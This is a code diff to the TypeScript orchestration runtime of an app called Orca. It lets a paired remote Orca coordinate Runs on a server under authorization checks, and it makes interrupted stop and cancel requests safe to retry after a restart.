--- a/src/main/runtime/rpc/methods/orchestration/messaging/send-methods.ts
+++ b/src/main/runtime/rpc/methods/orchestration/messaging/send-methods.ts
@@ -39,6 +39,8 @@ export const ORCHESTRATION_SEND_METHODS = [
     access: {
       kind: 'writes',
       caller: 'from',
+      callerPane: 'senderPaneKey',
+      server: 'on',
       targets: { to: 'party', threadId: 'message', run: 'run', payload: 'dispatch' }
     },
     permission: 'workspace',
@@ -172,6 +174,17 @@ export const ORCHESTRATION_SEND_METHODS = [
           if (!recipient.ok) {
             throw new OrchestrationError(recipient.code, recipient.message)
           }
+          // A paired Orca's former worker may since have taken up local work; it is no longer its to reach.
+          if (
+            orchestrationCaller?.kind === 'peer' &&
+            recipient.runId !== orchestrationCaller.peerRun.run_id
+          ) {
+            throw new OrchestrationError(
+              'forbidden',
+              `${params.to} now works outside the Run ${orchestrationCaller.peerRun.home_label} coordinates here. No effects were applied.`,
+              { effectsApplied: false }
+            )
+          }
           to = recipient.to
           messageRunId = recipient.runId
           if (recipient.warning) {
diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/send-point-to-point.ts b/src/main/runtime/rpc/methods/orchestration/messaging/send-point-to-point.ts
index 56273cfec5a..85752b5aa3d 100644
--- a/src/main/runtime/rpc/methods/orchestration/messaging/send-point-to-point.ts
+++ b/src/main/runtime/rpc/methods/orchestration/messaging/send-point-to-point.ts
@@ -8,6 +8,7 @@ import { reconcileLifecycleMessage } from '../../../../orchestration/workers/lif
 import { bindCoordinatorMutationPayload } from '../../../../orchestration/workers/reports/dispatch-message-binding'
 import { isDispatchMutationMessageType } from '../../../../../../shared/rpc-contract/orchestration-params'
 import { parseMessageTaskId } from './message-payload'
+import { isDispatchAssignee } from '../../../../orchestration/db/dispatch-context/dispatch-lookup'
 import type { SendParams } from './send-params'
 import { legacyWorkerDeliveryContract } from '../routing'
 import { exposeMessage } from './mailbox-message-receipt'
@@ -74,6 +75,8 @@ export function sendPointToPointMessage(args: {
         ? bindCoordinatorMutationPayload(messageType, params.payload, dispatch.id)
         : params.payload,
       senderPaneKey,
+      senderDispatchId:
+        dispatch && isDispatchAssignee(dispatch, from, senderPaneKey) ? dispatch.id : undefined,
       runId: messageRunId,
       deliveryContract: legacyWorkerDeliveryContract(
         runtime,
diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/settled-worker-follow-through.ts b/src/main/runtime/rpc/methods/orchestration/messaging/settled-worker-follow-through.ts
index fc223637a6a..3aec8ace463 100644
--- a/src/main/runtime/rpc/methods/orchestration/messaging/settled-worker-follow-through.ts
+++ b/src/main/runtime/rpc/methods/orchestration/messaging/settled-worker-follow-through.ts
@@ -10,7 +10,11 @@ import {
   receivesMailWhole
 } from '../../../../orchestration/db/dispatch-context/worker-follow-up-lineage'
 import { FOLLOW_UP_MESSAGE_TYPES } from '../../../../orchestration/db/dispatch-context/worker-follow-up-plan'
-import type { OrchestrationSessionCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
+import {
+  peerCoordinatorAddress,
+  peerCoordinatorCaller,
+  type OrchestrationEntryCaller
+} from '../../../../orchestration/addressing/orchestration-caller-identity'
 import { resolveOrcaSessionParty } from '../../../../orchestration/addressing/orchestration-party'
 import { readStructuredAgentSessionRecord } from '../../../../orchestration/terminal-authority/structured-sessions/structured-worker-authority'
 import { createHash } from 'node:crypto'
@@ -111,7 +115,7 @@ async function continueUnreadMail(
     outcome =
       plan?.kind === 'start'
         ? await startWorkerFollowUp({
-            ctx: { runtime, orchestrationCaller: senderSession(db, first.from_handle) },
+            ctx: { runtime, orchestrationCaller: senderCaller(db, first) },
             db,
             plan,
             from: first.from_handle,
@@ -304,7 +308,16 @@ export function continueAllUnreadWorkerMail(
   }
 }
 
-function senderSession(db: OrchestrationDb, from: string): OrchestrationSessionCaller | undefined {
+/** The sender continues as itself: a session as its session, a paired Orca as the coordinator of its Run. */
+function senderCaller(
+  db: OrchestrationDb,
+  message: { from_handle: string; run_id: string }
+): OrchestrationEntryCaller | undefined {
+  const peerRun = db.getPeerRun(message.run_id)
+  if (peerRun && message.from_handle === peerCoordinatorAddress(peerRun.conversation_id)) {
+    return peerCoordinatorCaller(peerRun)
+  }
+  const from = message.from_handle
   const sessionId = parseOrcaSessionAddress(from)
   const record = sessionId ? readStructuredAgentSessionRecord(sessionId) : null
   return sessionId && record
diff --git a/src/main/runtime/rpc/methods/orchestration/orchestration-caller-workspace.ts b/src/main/runtime/rpc/methods/orchestration/orchestration-caller-workspace.ts
index d22964215f7..ce78dca6226 100644
--- a/src/main/runtime/rpc/methods/orchestration/orchestration-caller-workspace.ts
+++ b/src/main/runtime/rpc/methods/orchestration/orchestration-caller-workspace.ts
@@ -2,14 +2,18 @@
  * showTerminal requires a real PTY; fabricating its writable fields would break terminal verbs for chat workers. */
 
 import type { OrcaRuntimeService } from '../../../orca-runtime'
-import type { OrchestrationSessionCaller } from '../../../orchestration/addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../../../orchestration/addressing/orchestration-caller-identity'
 import { isStructuredWorkerHandle } from '../../../../../shared/orchestration/workers/structured-worker-handle'
 
 export async function resolveDispatchCallerWorktreeId(
   runtime: Pick<OrcaRuntimeService, 'showTerminal' | 'getOrchestrationDispatchAuthority'>,
   callerHandle: string,
-  callerSession: OrchestrationSessionCaller | undefined
+  callerSession: OrchestrationEntryCaller | undefined
 ): Promise<string> {
+  // A paired Orca has no workspace here, so `current` and `new-child` refuse as for an unmanaged one.
+  if (callerSession?.kind === 'peer') {
+    return PEER_COORDINATOR_HAS_NO_WORKSPACE
+  }
   // A session caller's workspace is on its record, whichever owner (chat or terminal) holds it.
   if (callerSession) {
     return callerSession.workspaceId
@@ -22,3 +26,5 @@ export async function resolveDispatchCallerWorktreeId(
   }
   return (await runtime.showTerminal(callerHandle)).worktreeId
 }
+
+const PEER_COORDINATOR_HAS_NO_WORKSPACE = 'peer-coordinator-has-no-workspace'
diff --git a/src/main/runtime/rpc/methods/orchestration/runs/dispatch-creator.ts b/src/main/runtime/rpc/methods/orchestration/runs/dispatch-creator.ts
index c43da58338e..fb415f5b858 100644
--- a/src/main/runtime/rpc/methods/orchestration/runs/dispatch-creator.ts
+++ b/src/main/runtime/rpc/methods/orchestration/runs/dispatch-creator.ts
@@ -1,5 +1,5 @@
 import type { DispatchCreator } from '../../../../orchestration/db/dispatch-depth'
-import type { OrchestrationSessionCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
 import type { OrcaRuntimeService } from '../../../../orca-runtime'
 import { orchestrationCallerIdentity } from './run-scope'
 
@@ -7,7 +7,7 @@ import { orchestrationCallerIdentity } from './run-scope'
 export function resolveDispatchCreator(
   runtime: OrcaRuntimeService,
   callerHandle: string | undefined,
-  callerSession: OrchestrationSessionCaller | undefined
+  callerSession: OrchestrationEntryCaller | undefined
 ): DispatchCreator {
   if (!callerHandle) {
     // No declared caller resolves no parent; retain legacy Run-binding depth zero.
diff --git a/src/main/runtime/rpc/methods/orchestration/runs/run-scope.ts b/src/main/runtime/rpc/methods/orchestration/runs/run-scope.ts
index a5993600973..5d59eb85261 100644
--- a/src/main/runtime/rpc/methods/orchestration/runs/run-scope.ts
+++ b/src/main/runtime/rpc/methods/orchestration/runs/run-scope.ts
@@ -8,7 +8,7 @@ import {
   hasRunBindingKey,
   mailboxAddressOf,
   runCoordinatorKey,
-  type OrchestrationSessionCaller
+  type OrchestrationEntryCaller
 } from '../../../../orchestration/addressing/orchestration-caller-identity'
 import type { OrchestrationPartyIdentity as OrchestrationCallerIdentity } from '../../../../../../shared/orchestration/mailbox/orchestration-party-identity'
 import { resolveDeclaredCallerParty } from '../../../../orchestration/addressing/orchestration-party'
@@ -24,7 +24,7 @@ export type RunScopeParams = {
   callerTerminalHandle?: string
   callerPaneKey?: string
   /** Resolved at the dispatch entry; when set it is the caller, whatever the declared handle. */
-  callerSession: OrchestrationSessionCaller | undefined
+  callerSession: OrchestrationEntryCaller | undefined
   requireCurrentConsumer: boolean
   legacyCoordinatorRunId?: string
   // Attest user-supplied handles against this trusted handle.
@@ -56,7 +56,7 @@ export function orchestrationCallerIdentity(
   caller: {
     handle: string
     paneKey: string | null | undefined
-    session: OrchestrationSessionCaller | undefined
+    session: OrchestrationEntryCaller | undefined
   }
 ): OrchestrationCallerIdentity {
   if (caller.session) {
@@ -70,7 +70,7 @@ export type OrchestrationCallerParams = {
   callerTerminalHandle: string
   callerEvidence?: OrchestrationCompatibilityEvidence
   callerAuthority?: OrchestrationCompatibilityCallerAuthority
-  callerSession: OrchestrationSessionCaller | undefined
+  callerSession: OrchestrationEntryCaller | undefined
   /** Preserve legacy callers that treated a missing pane as an ordinary fence. */
   requireStablePane?: boolean
   /** Only skip attestation when the caller does it after the legacy-takeover check (run-use); omitting that reopens impersonation. */
diff --git a/src/main/runtime/rpc/methods/orchestration/worker/deliver-worker-dispatch-preamble.ts b/src/main/runtime/rpc/methods/orchestration/worker/deliver-worker-dispatch-preamble.ts
index da0075d287c..dc79fd4eef1 100644
--- a/src/main/runtime/rpc/methods/orchestration/worker/deliver-worker-dispatch-preamble.ts
+++ b/src/main/runtime/rpc/methods/orchestration/worker/deliver-worker-dispatch-preamble.ts
@@ -60,6 +60,7 @@ export async function deliverWorkerDispatchPreamble(args: {
     dispatchId: args.dispatchId,
     taskSpec: args.taskSpec,
     coordinatorHandle: orcaSessionIdOrHandle(args.coordinatorHandle, args.db),
+    coordinatedFrom: args.db.getPeerRun(args.runId)?.home_label,
     // Its mailbox stays keyed by the handle; its commands name its Orca session ID, which binds to it.
     workerHandle:
       structuredSession && isOrcaSessionId(structuredSession.identity.sessionId)
diff --git a/src/main/runtime/rpc/methods/orchestration/worker/explicit-worker-terminal-validation.ts b/src/main/runtime/rpc/methods/orchestration/worker/explicit-worker-terminal-validation.ts
index a2d53e01de2..6adb724d6f9 100644
--- a/src/main/runtime/rpc/methods/orchestration/worker/explicit-worker-terminal-validation.ts
+++ b/src/main/runtime/rpc/methods/orchestration/worker/explicit-worker-terminal-validation.ts
@@ -1,5 +1,6 @@
 import type { OrcaRuntimeService } from '../../../../orca-runtime'
 import { OrchestrationError } from '../../../../orchestration/orchestration-error'
+import { isPeerCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
 import { isStructuredWorkerHandle } from '../../../../../../shared/orchestration/workers/structured-worker-handle'
 import type {
   OrchestrationPartyIdentity as OrchestrationCallerIdentity,
@@ -27,8 +28,9 @@ export async function assertExplicitWorkerTerminalUsable(args: {
   const targetPane = runtime.getTerminalPaneKey(terminal)
   const callerPane = coordinator?.paneKey ?? runtime.getTerminalPaneKey(from)
   // Structured coordinators may have no showable terminal; compare their handle/pane identity, or session address for handle-less callers.
+  // A paired Orca's coordinator has no terminal here either; its address is its handle.
   const coordinatorHandle =
-    coordinator?.terminalHandle === null
+    coordinator?.terminalHandle === null || isPeerCaller(coordinator)
       ? coordinator.address
       : isStructuredWorkerHandle(from)
         ? from
diff --git a/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start-dispatch.ts b/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start-dispatch.ts
index 5d26db76cb2..50ee585d311 100644
--- a/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start-dispatch.ts
+++ b/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start-dispatch.ts
@@ -64,6 +64,7 @@ export function createLocalWorkerStartDispatch(
     requiredCreatorDispatchId: helperCreator?.id,
     taskId: existingTask?.id,
     taskSpec: params.spec,
+    adoptTaskId: params.adoptTaskId,
     taskTitle: params.taskTitle,
     taskDeps,
     // A helper's Task sits under its creator's Task, so the Run's Task tree shows who started it.
diff --git a/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start.ts b/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start.ts
index 1af01cf6710..6d7446b10f6 100644
--- a/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start.ts
+++ b/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start.ts
@@ -11,7 +11,7 @@ import type {
   RunRow,
   TaskRow
 } from '../../../../orchestration/db/orchestration-records'
-import type { OrchestrationSessionCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
 import type { OrchestrationPartyIdentity as OrchestrationCallerIdentity } from '../../../../../../shared/orchestration/mailbox/orchestration-party-identity'
 import { resolveDispatchCallerWorktreeId } from '../orchestration-caller-workspace'
 import { resolveWorkerStartModeOnHost } from '../structured-workers/orchestration-worker-start-mode'
@@ -48,7 +48,7 @@ export async function startLocalWorker(args: {
   bindRun: () => RunRow
   taskDeps: string[] | undefined
   coordinator: OrchestrationCallerIdentity | null
-  callerSession?: OrchestrationSessionCaller
+  callerSession?: OrchestrationEntryCaller
   existingTask?: TaskRow
   orchestrationMutation?: WorkerStartMutation
   /** Settings-driven; the executing host still gets to refuse below. */
diff --git a/src/main/runtime/rpc/methods/orchestration/worker/pinned-federated-server.ts b/src/main/runtime/rpc/methods/orchestration/worker/pinned-federated-server.ts
index 3c072282de3..b61bc4235f7 100644
--- a/src/main/runtime/rpc/methods/orchestration/worker/pinned-federated-server.ts
+++ b/src/main/runtime/rpc/methods/orchestration/worker/pinned-federated-server.ts
@@ -1,12 +1,25 @@
 import type { WorkerTerminalReleaseRuntime } from '../../../../orchestration/terminal-authority/release/worker-terminal-release-runtime'
 import { OrchestrationError } from '../../../../orchestration/orchestration-error'
 import type { FederatedDispatchRow } from '../../../../orchestration/db/orchestration-records'
+import { RuntimeEnvironmentStoreError } from '../../../../../../shared/remote-runtime/host-store/runtime-environment-store-records'
 
 export function resolvePinnedFederatedServer(
   runtime: WorkerTerminalReleaseRuntime,
   federated: FederatedDispatchRow
 ) {
-  const server = runtime.resolveOrchestrationWorkerServer(federated.environment_id)
+  let server
+  try {
+    server = runtime.resolveOrchestrationWorkerServer(federated.environment_id)
+  } catch (error) {
+    // Not found: removed, or re-paired, which adds the server as a new environment.
+    if (error instanceof RuntimeEnvironmentStoreError && error.code === 'invalid_argument') {
+      throw new OrchestrationError(
+        'peer_changed',
+        `Saved environment ${federated.environment_name} is no longer a paired server here, so this Orca cannot reach this worker. Re-pairing adds the server as a new environment.`
+      )
+    }
+    throw error
+  }
   if (server.peerFingerprint !== federated.peer_fingerprint) {
     throw new OrchestrationError(
       'peer_changed',
diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-list-method.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-list-method.ts
index b506a17124f..c8083a27648 100644
--- a/src/main/runtime/rpc/methods/orchestration/worker/worker-list-method.ts
+++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-list-method.ts
@@ -251,6 +251,7 @@ async function projectWorkerListPageWithFilteredSnapshot(
       dispatchStatus: row.dispatchStatus,
       agentTerminalHandle: row.agentTerminalHandle,
       terminalState: row.terminalState,
+      coordinatedFrom: row.coordinatedFrom,
       resource: row.resource ? exposeWorkerTerminalResource(row.resource) : null,
       // Emit only derived ownership; resource identity/release fields already live on the row.
       projection: {
diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-authority.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-authority.ts
index 3df8bd1e22f..d54f92f4c16 100644
--- a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-authority.ts
+++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-authority.ts
@@ -4,7 +4,7 @@ import { liveDispatchCreatorEvaluation } from '../../../../orchestration/db/disp
 import { selectExistingWorkerStartRun } from './worker-start-run-authority'
 import type { OrchestrationDb } from '../../../../orchestration/db/orchestration-db'
 import { OrchestrationError } from '../../../../orchestration/orchestration-error'
-import type { OrchestrationSessionCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
 import type { OrchestrationPartyIdentity as OrchestrationCallerIdentity } from '../../../../../../shared/orchestration/mailbox/orchestration-party-identity'
 import type {
   DispatchContextRow,
@@ -27,7 +27,7 @@ export function resolveWorkerStartRun(
   args: {
     coordinator: OrchestrationCallerIdentity | null
     from: string
-    callerSession: OrchestrationSessionCaller | undefined
+    callerSession: OrchestrationEntryCaller | undefined
     runId: string | undefined
     /** Objective for a Run this start may create; absent when it names an existing Task. */
     objective: string | undefined
@@ -120,7 +120,7 @@ export function qualifyLiveWorkerFollowUp(
   runtime: OrcaRuntimeService,
   coordinator: OrchestrationCallerIdentity | null,
   from: string,
-  session: OrchestrationSessionCaller | undefined,
+  session: OrchestrationEntryCaller | undefined,
   runId: string,
   followUp: Parameters<ReturnType<typeof createWorkerFollowUpQualification>>[1]
 ) {
diff --git a/src/main/runtime/rpc/methods/orchestration/worker/workers.ts b/src/main/runtime/rpc/methods/orchestration/worker/workers.ts
index dcf2e63ef94..2538b27521b 100644
--- a/src/main/runtime/rpc/methods/orchestration/worker/workers.ts
+++ b/src/main/runtime/rpc/methods/orchestration/worker/workers.ts
@@ -40,13 +40,15 @@ export const ORCHESTRATION_WORKER_START_METHODS = [
     access: {
       kind: 'writes',
       caller: 'from',
+      server: 'on',
       targets: {
         task: 'task',
         parent: 'task',
         deps: 'task',
         run: 'run',
         retryOf: 'dispatch',
-        terminal: 'worker'
+        terminal: 'worker',
+        adoptTaskId: 'task'
       }
     },
     requires: ['accounts'],
@@ -81,6 +83,26 @@ export async function startWorker(
       { effectsApplied: false }
     )
   }
+  if (params.adoptTaskId !== undefined && orchestrationCaller?.kind !== 'peer') {
+    throw new OrchestrationError(
+      'invalid_argument',
+      'Only the paired Orca coordinating a Run names its Task IDs. No effects were applied.',
+      { effectsApplied: false }
+    )
+  }
+  const placement = params.worktree ?? 'current'
+  if (
+    orchestrationCaller?.kind === 'peer' &&
+    !followUp &&
+    !params.terminal &&
+    /^(current|new-child)$/.test(placement)
+  ) {
+    throw new OrchestrationError(
+      'invalid_argument',
+      `--on requires an exact remote worktree selector or new-top-level: ${orchestrationCaller.peerRun.home_label} has no workspace on this server for --worktree ${placement}. No effects were applied.`,
+      { effectsApplied: false }
+    )
+  }
   const readinessTimeoutMs = resolveWorkerStartReadinessTimeoutMs(params.timeoutMs)
   const db = runtime.getOrchestrationDb()
   const coordinator = resolveOrchestrationCaller(runtime, {
diff --git a/src/main/runtime/rpc/orchestration-mutation-executor.test.ts b/src/main/runtime/rpc/orchestration-mutation-executor.test.ts
index 2bda0a49813..c3e7a5466b8 100644
--- a/src/main/runtime/rpc/orchestration-mutation-executor.test.ts
+++ b/src/main/runtime/rpc/orchestration-mutation-executor.test.ts
@@ -50,6 +50,7 @@ function createHarness() {
   vi.spyOn(runtime, 'getTerminalPaneKey').mockReturnValue('window-1:leaf-prompt')
   return {
     db,
+    runtime,
     executor: new OrchestrationMutationExecutor(runtime),
     bindTerminal: (next: { generation: number; processIncarnation: string }) => {
       binding.mockReturnValue({ ptyId: 'pty-prompt', ...next })
@@ -236,3 +237,27 @@ describe('worker start mutation coalescing', () => {
     expect(invoke).toHaveBeenCalledOnce()
   })
 })
+
+describe('a stop or Run cancel interrupted by a restart', () => {
+  it.each(['orchestration.workerStop', 'orchestration.peerRunCancel'])(
+    '%s runs again on a retry with the same request ID instead of answering operation_unknown',
+    async (method) => {
+      const harness = createHarness()
+      const params = method === 'orchestration.workerStop' ? { dispatch: 'ctx_1' } : {}
+      // The first attempt's receipt is pending when this runtime goes away.
+      void harness.executor.run(
+        workerStartRequest(method, 'stop-1.1:ctx_1', params),
+        params,
+        () => new Promise(() => {})
+      )
+      const restarted = new OrchestrationMutationExecutor(harness.runtime)
+
+      const invoke = vi.fn(async () => ({ remaining: 0 }))
+      await expect(
+        restarted.run(workerStartRequest(method, 'stop-1.1:ctx_1', params), params, invoke)
+      ).resolves.toMatchObject({ remaining: 0 })
+      expect(invoke).toHaveBeenCalledOnce()
+      harness.db.close()
+    }
+  )
+})
diff --git a/src/main/runtime/rpc/orchestration-mutation-executor.ts b/src/main/runtime/rpc/orchestration-mutation-executor.ts
index 2569a8d0e6e..a20faeb6649 100644
--- a/src/main/runtime/rpc/orchestration-mutation-executor.ts
+++ b/src/main/runtime/rpc/orchestration-mutation-executor.ts
@@ -3,7 +3,7 @@ import {
   isTerminalPromptMutation
 } from '../../../shared/orchestration/orchestration-rpc-contract'
 import type { OrcaRuntimeService } from '../orca-runtime'
-import type { OrcaSessionId } from '../../../shared/orca-session-address'
+import type { OrchestrationEntryCaller } from '../orchestration/addressing/orchestration-caller-identity'
 import { OrchestrationError } from '../orchestration/orchestration-error'
 import type { RpcRequest } from './core'
 import {
@@ -32,6 +32,14 @@ export type DurableMutationInvocation = {
   replayedReceipt?: unknown
 }
 
+/** Mutations whose pending receipt a restart re-enters, so a stop or cancel still finishes rather
+ *  than answering operation_unknown: each re-runs its ordinary owner, which is safe to repeat. */
+const RESUMABLE_PENDING_METHODS: ReadonlySet<string> = new Set([
+  'orchestration.workerRelease',
+  'orchestration.workerStop',
+  'orchestration.peerRunCancel'
+])
+
 type InFlightMutation = {
   method: string
   payloadHash: string
@@ -48,8 +56,8 @@ export class OrchestrationMutationExecutor {
     params: unknown,
     invoke: (mutation?: DurableMutationInvocation) => unknown,
     callerFingerprintOverride?: string,
-    /** The resolved session's Orca session id; it joins the payload so another caller cannot replay it. */
-    callerOrcaSessionId?: OrcaSessionId
+    /** The resolved caller; its identity joins the payload so another caller cannot replay it. */
+    caller?: OrchestrationEntryCaller
   ): Promise<unknown> {
     const requestId = request.orchestrationRequestId
     if (!requestId || !isDurableMutation(request.method, params)) {
@@ -57,12 +65,7 @@ export class OrchestrationMutationExecutor {
     }
     const callerFingerprint =
       callerFingerprintOverride ?? this.getLocalAuthenticatedCallerFingerprint()
-    const stableParams = replayStableCallerParams(
-      this.runtime,
-      params,
-      callerOrcaSessionId,
-      request.method
-    )
+    const stableParams = replayStableCallerParams(this.runtime, params, caller, request.method)
     const basePayloadHash = hashCanonical({ method: request.method, params: stableParams })
     const key = `${callerFingerprint}:${requestId}`
     const db = this.runtime.getOrchestrationDb()
@@ -134,7 +137,7 @@ export class OrchestrationMutationExecutor {
       isResumablePendingWorkerDone(request.method, params, begun.row.receipt)
     const resumedPendingMutation =
       begun.disposition === 'pending' &&
-      (request.method === 'orchestration.workerRelease' || resumedPendingWorkerDone)
+      (RESUMABLE_PENDING_METHODS.has(request.method) || resumedPendingWorkerDone)
 
     if (begun.disposition === 'completed') {
       const active = this.inFlight.get(key)
@@ -191,7 +194,7 @@ export class OrchestrationMutationExecutor {
           { requestId }
         )
       }
-      if (request.method !== 'orchestration.workerRelease' && !resumedPendingWorkerDone) {
+      if (!resumedPendingMutation) {
         const recovery = getPendingWorkerStartRecovery(request.method, begun.row.receipt)
         throw new OrchestrationError(
           'operation_unknown',
diff --git a/src/main/runtime/rpc/orchestration-mutation-receipt.ts b/src/main/runtime/rpc/orchestration-mutation-receipt.ts
index 03cf9ebd9d7..ed20925ed9a 100644
--- a/src/main/runtime/rpc/orchestration-mutation-receipt.ts
+++ b/src/main/runtime/rpc/orchestration-mutation-receipt.ts
@@ -2,7 +2,7 @@ import { createHash } from 'node:crypto'
 import { isTerminalPromptMutation } from '../../../shared/orchestration/orchestration-rpc-contract'
 import { parsePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
 import type { OrcaRuntimeService } from '../orca-runtime'
-import type { OrcaSessionId } from '../../../shared/orca-session-address'
+import type { OrchestrationEntryCaller } from '../orchestration/addressing/orchestration-caller-identity'
 
 export const EFFECT_FREE_WORKER_DONE_CHECKPOINT = JSON.stringify({
   pending: { effectFree: 'worker_done' }
@@ -15,11 +15,13 @@ export type MutationReplayNudge =
   | { kind: 'federation'; runId?: string }
 
 const CALLER_ORCA_SESSION_ID_KEY = '__orcaCallerOrcaSessionId'
+// A paired Orca's address names its conversation, so one Run's receipt never answers another's.
+const PEER_CALLER_KEY = '__orcaPeerCaller'
 
 export function replayStableCallerParams(
   runtime: OrcaRuntimeService,
   params: unknown,
-  callerOrcaSessionId?: OrcaSessionId,
+  caller?: OrchestrationEntryCaller,
   method?: string
 ): unknown {
   if (!params || typeof params !== 'object' || Array.isArray(params)) {
@@ -27,9 +29,12 @@ export function replayStableCallerParams(
   }
   const source = params as Record<string, unknown>
   // Absent for terminal callers, so their payload hashes are unchanged.
-  const result: Record<string, unknown> = callerOrcaSessionId
-    ? { ...source, [CALLER_ORCA_SESSION_ID_KEY]: callerOrcaSessionId }
-    : { ...source }
+  const result: Record<string, unknown> =
+    caller?.kind === 'peer'
+      ? { ...source, [PEER_CALLER_KEY]: caller.address }
+      : caller?.orcaSessionId
+        ? { ...source, [CALLER_ORCA_SESSION_ID_KEY]: caller.orcaSessionId }
+        : { ...source }
   if (method === 'orchestration.federationImport' && Array.isArray(result.items)) {
     result.items = result.items.map((item: Record<string, unknown>) => {
       const { answerSenderReport: _answer, ...canonical } = item
diff --git a/src/main/runtime/rpc/orchestration-peer-caller.ts b/src/main/runtime/rpc/orchestration-peer-caller.ts
new file mode 100644
index 00000000000..f57053b9d88
--- /dev/null
+++ b/src/main/runtime/rpc/orchestration-peer-caller.ts
@@ -0,0 +1,72 @@
+import type { OrcaRuntimeService } from '../orca-runtime'
+import type { RpcMethod, RpcRequest, RpcStreamingMethod } from './core'
+import type { RpcDispatchStreamingOptions } from './dispatcher-stream-options'
+import { OrchestrationError } from '../orchestration/orchestration-error'
+import { isGeneratedId } from '../orchestration/db/generated-id'
+import { RemoteOwnedPeerRun } from '../../../shared/orchestration/remote-owned-wire'
+import {
+  peerCoordinatorCaller,
+  type OrchestrationPeerCaller
+} from '../orchestration/addressing/orchestration-caller-identity'
+
+const NO_EFFECTS = { effectsApplied: false } as const
+
+/**
+ * A call a paired Orca makes as the coordinator of one of its Runs here. Admitted from the
+ * authenticated runtime pairing, never from a param, and synchronously: its Run is written in the
+ * frame's first turn, so a later frame of the same conversation (a cancel) always finds it.
+ * The declared caller field then names the peer, as a session's names the session.
+ */
+export function admitOrchestrationPeerCall(
+  runtime: OrcaRuntimeService,
+  request: RpcRequest,
+  method: RpcMethod | RpcStreamingMethod,
+  options: RpcDispatchStreamingOptions | undefined
+): { request: RpcRequest; caller: OrchestrationPeerCaller } | undefined {
+  if (request.orchestrationPeerRun === undefined) {
+    return undefined
+  }
+  const access = method.orchestrationAccess
+  if (!access) {
+    throw new OrchestrationError(
+      'invalid_argument',
+      `${request.method} is not an orchestration method, so it takes no peer Run. No effects were applied.`,
+      NO_EFFECTS
+    )
+  }
+  const fingerprint = options?.authenticatedCallerFingerprint
+  if (options?.clientKind !== 'runtime' || options.pairedDeviceId === undefined || !fingerprint) {
+    throw new OrchestrationError(
+      'mail_requires_server_pairing',
+      'Only a paired computer can coordinate a Run on this server. No effects were applied.',
+      NO_EFFECTS
+    )
+  }
+  const peerRun = RemoteOwnedPeerRun.safeParse(request.orchestrationPeerRun)
+  if (!peerRun.success || !isGeneratedId(peerRun.data.conversationId, 'peerconv')) {
+    throw new OrchestrationError(
+      'invalid_argument',
+      'A peer Run needs its Run, conversation ID and label. No effects were applied.',
+      NO_EFFECTS
+    )
+  }
+  const caller = peerCoordinatorCaller(
+    runtime
+      .getOrchestrationDb()
+      .admitPeerRun({ peerFingerprint: fingerprint, peerRun: peerRun.data })
+  )
+  // Terminal attestation and pane keys name callers on the host that has them, never this one.
+  const peerRequest = { ...request, orchestrationCompatibilityEvidence: undefined }
+  const params: unknown = request.params
+  if (!params || typeof params !== 'object' || Array.isArray(params)) {
+    return { request: peerRequest, caller }
+  }
+  const bound: Record<string, unknown> = { ...params }
+  if (access.callerPane) {
+    delete bound[access.callerPane]
+  }
+  if (access.caller) {
+    bound[access.caller] = caller.address
+  }
+  return { request: { ...peerRequest, params: bound }, caller }
+}
diff --git a/src/main/runtime/rpc/orchestration-session-caller.ts b/src/main/runtime/rpc/orchestration-session-caller.ts
index 10a82436696..160cf758f1e 100644
--- a/src/main/runtime/rpc/orchestration-session-caller.ts
+++ b/src/main/runtime/rpc/orchestration-session-caller.ts
@@ -11,7 +11,10 @@ import { ORCA_SESSION_ADDRESS_PREFIX } from '../../../shared/orca-session-addres
 import { isOrcaSessionId, parseOrcaSessionAddress } from '../../../shared/orca-session-address'
 import { ORCHESTRATION_SESSION_CALLER_ERROR_CODES as CODES } from '../../../shared/orchestration/orchestration-session-caller-codes'
 import type { OrcaRuntimeService } from '../orca-runtime'
-import type { OrchestrationSessionCaller } from '../orchestration/addressing/orchestration-caller-identity'
+import type {
+  OrchestrationEntryCaller,
+  OrchestrationSessionCaller
+} from '../orchestration/addressing/orchestration-caller-identity'
 import { OrchestrationError } from '../orchestration/orchestration-error'
 import { canonicalOrcaSessionId } from '../orchestration/addressing/session-lineage/canonical-orca-session-id'
 import type { OrchestrationDb } from '../orchestration/db/orchestration-db'
@@ -36,7 +39,7 @@ export type OrchestrationRequestRoute = {
 export type ResolvedOrchestrationRequest = {
   /** The request with its declared caller bound to the session and its evidence reduced to it. */
   request: RpcRequest
-  caller?: OrchestrationSessionCaller
+  caller?: OrchestrationEntryCaller
 }
 
 const NO_EFFECTS = { effectsApplied: false } as const
diff --git a/src/main/runtime/rpc/repo-add-cli.integration.test.ts b/src/main/runtime/rpc/repo-add-cli.integration.test.ts
index e5e71c09e88..4e0332a61df 100644
--- a/src/main/runtime/rpc/repo-add-cli.integration.test.ts
+++ b/src/main/runtime/rpc/repo-add-cli.integration.test.ts
@@ -13,14 +13,17 @@ import { partialRuntimeStore } from '../orca-runtime-tests/runtime-store-partial
 import type { RpcRequest } from './core'
 import { repoDispatcher } from './methods/projects/repo-rpc.test-fixture'
